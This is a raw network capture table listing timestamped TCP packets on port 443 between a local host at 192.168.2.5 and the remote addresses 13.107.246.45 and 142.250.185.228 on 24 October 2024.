Oct 24, 2024 22:09:34.930214882 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.930793047 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.930798054 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.933325052 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.933655024 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.933677912 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.934139967 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.934169054 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.059695959 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.059899092 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.059967041 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.060019016 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.060019016 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.060045004 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.060055971 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.063072920 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.063122034 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.063302994 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.063498974 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.063512087 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.076759100 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.077398062 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.077455997 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.077495098 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.077495098 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.077507019 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.077517986 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.079865932 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.079927921 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.080059052 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.080215931 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.080235958 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.201280117 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.201862097 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.201872110 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.202303886 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.202307940 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.323693037 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.323863029 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.323945045 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.324084044 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.324105024 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.327754021 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.327816010 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.327900887 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.328130960 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.328161001 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.335506916 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.335568905 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.335710049 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.335820913 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.335841894 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.335854053 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.335859060 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.338985920 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.339104891 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.339188099 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.339376926 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.339413881 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.625602961 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.626200914 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.626240969 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.627273083 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.627276897 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.753544092 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.753633976 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.753720045 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.754025936 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.754077911 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.758655071 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.758733034 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.758806944 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.759094954 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.759110928 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.811351061 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.813198090 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.813234091 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.814630985 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.814641953 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.816109896 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.816776037 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.816804886 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.817915916 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.817923069 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.940215111 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.940362930 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.940429926 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.940687895 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.940706968 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.940721035 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.940726995 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.945415974 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.945512056 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.945599079 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.945708990 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.945805073 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.945849895 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.945987940 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.946023941 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.946177959 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.946196079 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.948723078 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.948750019 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:35.948828936 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.949105978 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:35.949116945 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.054260969 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.062465906 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.062504053 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.062984943 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.062992096 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.075169086 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.079011917 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.079049110 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.081432104 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.081437111 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.190676928 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.190977097 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.191054106 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.196732044 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.196748018 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.196757078 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.196763039 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.201363087 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.201469898 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.201566935 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.208821058 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.209084034 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.209151983 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.220542908 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.220616102 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.221401930 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.221421957 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.221432924 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.221441031 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.223788023 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.223822117 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.224069118 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.224242926 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.224252939 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.498523951 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.498943090 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.498970985 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.499393940 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.499399900 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.971513987 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.971585989 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.971643925 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.971905947 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.971931934 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.974694967 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.974726915 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.974797964 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.984190941 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.987807989 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.992929935 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.992944956 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.993530989 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.993541002 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.994240999 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.994246960 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.994859934 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.994901896 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:36.995353937 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:36.995367050 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.112916946 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.113423109 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.113444090 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.113888979 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.113898039 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.121928930 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.122021914 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.122121096 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.122180939 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.122196913 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.122206926 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.122212887 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.124250889 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.124771118 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.124816895 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.124835014 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.124919891 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.124933958 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.124974012 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.124974012 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.125071049 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.125098944 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.125320911 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.125333071 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.125355959 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.125370026 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.125822067 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.125829935 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.127697945 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.127733946 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.127814054 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.127954960 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.127970934 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.242286921 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.242372036 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.242439985 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.242588997 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.242604971 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.242616892 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.242621899 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.245277882 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.245302916 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.245378971 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.245559931 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.245568037 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.255729914 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.255825043 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.255883932 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.255989075 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.256010056 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.256040096 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.256047964 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.258308887 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.258347988 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.258445978 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.258622885 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.258646011 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.785058975 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.785866022 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.785886049 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.786370993 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.786379099 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.805222034 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:37.805290937 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:37.805337906 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:37.915662050 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.915823936 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.915992022 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.916059017 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.916059017 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.916079998 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.916093111 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.917383909 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.917783022 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.917799950 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.918194056 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.918200016 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.919466972 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.919502974 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.919770956 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.919929981 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.919941902 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.920681000 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.921083927 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.921093941 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:37.921468019 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:37.921473980 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.025233030 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.025803089 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.025823116 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.026645899 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.026650906 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.036448002 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.036998034 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.037062883 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.037727118 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.037739992 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.048341990 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.048429966 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.048506975 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.048604012 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.048621893 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.048635006 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.048643112 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.052638054 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.052695036 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.052782059 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.053050041 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.053081036 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.054474115 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.054964066 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.055036068 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.055058956 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.055058956 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.055077076 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.055088043 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.057010889 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.057038069 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.057145119 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.057473898 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.057490110 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.158201933 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.158513069 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.158574104 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.158607960 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.158627033 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.158638000 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.158643007 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.161709070 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.161771059 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.162272930 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.162395000 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.162408113 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.167527914 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.167733908 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.167789936 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.167905092 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.167928934 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.167944908 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.167952061 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.170423985 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.170475960 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.170744896 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.170851946 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.170865059 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.180902004 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:38.180917025 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:38.671912909 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.672492981 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.672507048 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.672914028 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.672918081 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.794218063 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.797276020 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.797286987 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.797910929 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.797918081 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.802129984 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.802854061 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.802937984 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.803575993 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.803630114 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.804133892 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.804295063 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.804368019 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.804433107 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:38.804441929 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:38.804451942 CEST	49778	443	192.168.2.5	13.107.246.45
